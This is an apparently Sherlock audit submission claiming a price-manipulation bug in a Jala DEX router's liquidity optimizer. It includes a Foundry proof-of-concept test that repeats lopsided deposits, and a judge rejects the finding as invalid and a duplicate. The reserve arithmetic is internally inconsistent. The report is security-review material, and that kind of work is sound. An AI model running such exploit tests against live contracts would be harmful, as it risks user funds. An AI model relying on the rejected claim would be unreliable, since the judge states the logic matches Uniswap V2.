SK - Price Manipulation by Adding Liquidity

[sherlock-admin2]

SK

high

Price Manipulation by Adding Liquidity

Summary

The optimizer calculation is inconsistence, which allows user to manipulate the price via the addLiquidity function.

Vulnerability Detail

When the user want to add liquidity to the pool. It will first go thought the optimizer at line 43 . This is to keep track the ratio to prevent the user manipulate the price.

Impact

User might lose the token due to the inconsistent calculation.

Code Snippet

1. User A deposits 10,000 tokensA and 10 tokensB. The reserve0 will update to 10,000,000,000,000,000,000,000 (10,000e18) and reserve1 to 10,000,000,000,000,000,000 (10e18). The difference between reserve1 and reserve0 will be 1,000.
2. If user B deposits 100,000 tokensA and 1 tokenB, the optimizer will maintain the correct ratio and prevent users from manipulating the price. Once the deposit is successful, reserve0 will update to 11,000,000,000,000,000,000,000 (11,000e18) and reserve1 to 11,000,000,000,000,000,000 (11e18). The difference between reserve1 and reserve0 will still remain at 10,000.
3. However, if we deposit with 1 tokenA and 100,000 tokensB, the difference between reserve0 and reserve1 will become a value greater than 1,000.

POC

    function testPriceManipulationByAddingLiquidity() public {
        vm.startPrank(user0);
        //Approve router to spend the token.
        tokenA.approve(address(masterRouter), 10000);
        tokenB.approve(address(masterRouter), 10);
        masterRouter.wrapTokensAndaddLiquidity(
            address(tokenA),
            address(tokenB),
            10000,
            10,
            10000,
            10,
            user0,
            block.timestamp
        );
        vm.stopPrank();
        vm.startPrank(user1);
        for (uint256 i = 0; i < 100; i++) {
            tokenA.approve(address(masterRouter), 1000000);
            tokenB.approve(address(masterRouter), 1000000);
            masterRouter.wrapTokensAndaddLiquidity(
                address(tokenA),
                address(tokenB),
                1,
                100000,
                0,
                0,
                user1,
                block.timestamp
            );
        }
        vm.stopPrank();
        address pairAddress = factory.getPair(
            wrapperFactory.wrappedTokenFor(address(tokenA)),
            wrapperFactory.wrappedTokenFor(address(tokenB))
        );
        address wrappedTokenA = wrapperFactory.wrappedTokenFor(address(tokenA));
        address wrappedTokenB = wrapperFactory.wrappedTokenFor(address(tokenB));
        console.log("Pair Token A: ", IERC20(wrappedTokenA).balanceOf(pairAddress));
        console.log("Pair Token B: ", IERC20(wrappedTokenB).balanceOf(pairAddress));
        console.log("User0 Token A: ", tokenA.balanceOf(user0));
        console.log("User0 Token B: ", tokenB.balanceOf(user0));
        console.log("Liquidity of User 0: ", JalaPair(pairAddress).balanceOf(user0));
        console.log("User1 Token A: ", tokenA.balanceOf(user1));
        console.log("User1 Token B: ", tokenB.balanceOf(user1));
        console.log("Liquidity of User 1: ", JalaPair(pairAddress).balanceOf(user1));
    }

You may check the pair token value by adding at the addLiquidity function (line 60) in JalaRouter02

        console.log("Pair Token A: ", IERC20(tokenA).balanceOf(pair));
        console.log("Pair Token B: ", IERC20(tokenB).balanceOf(pair));

Tool used

Manual Review

Recommendation

Make sure the optimizer work in both way.

Duplicate of #246

[nevillehuang]

Invalid, seem to be duplicate of #246, so see comment there for invalidation reason. Additionally, there is no issue with getReserves given users would be incentivized to rebalance pool and uniswapv2 employs an identical core logic as seen here